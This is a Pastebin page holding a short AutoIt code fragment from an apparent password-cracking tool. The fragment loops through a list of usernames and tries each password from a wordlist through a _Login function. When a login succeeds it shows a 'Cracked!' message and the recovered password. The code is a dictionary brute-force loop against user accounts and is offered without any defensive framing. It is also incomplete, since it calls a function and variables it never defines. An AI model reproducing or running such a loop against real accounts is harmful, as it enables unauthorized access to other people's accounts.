Advertisement
Guest User

Untitled

a guest
Aug 16th, 2017
89
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AutoIt 0.69 KB | None | 0 0
  1. Do
  2.                 For $i = 1 To UBound($aPasswords) - 1
  3.                 $login = _Login($aUsers[$iCounter], $aPasswords[$i])
  4.                 If StringInStr($login, "ok") Then
  5.                     $cracked = True
  6.                     MsgBox(64, "Cracked!", "User " & GUICtrlRead($Edit2) & " " & "has been cracked.")
  7.                     GUICtrlSetData($Edit3, "Username: " & GUICtrlRead($Edit2) & @CRLF & "Password: " & $crackedPass & @CRLF & @CRLF & "Original Password: " & $aPasswords[$i])
  8.                 EndIf
  9.                 If $i >= _GUICtrlEdit_GetLineCount($Edit1) And $cracked <> True Then
  10.                     $cracked = False
  11.                     MsgBox(16, "", "Password list exhausted; no users found.")
  12.                 EndIf
  13.             Next
  14.                 $icounter += 1
  15.                 ContinueLoop
  16.             Until $icounter > _GUICtrlEdit_GetLineCount($Edit2)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement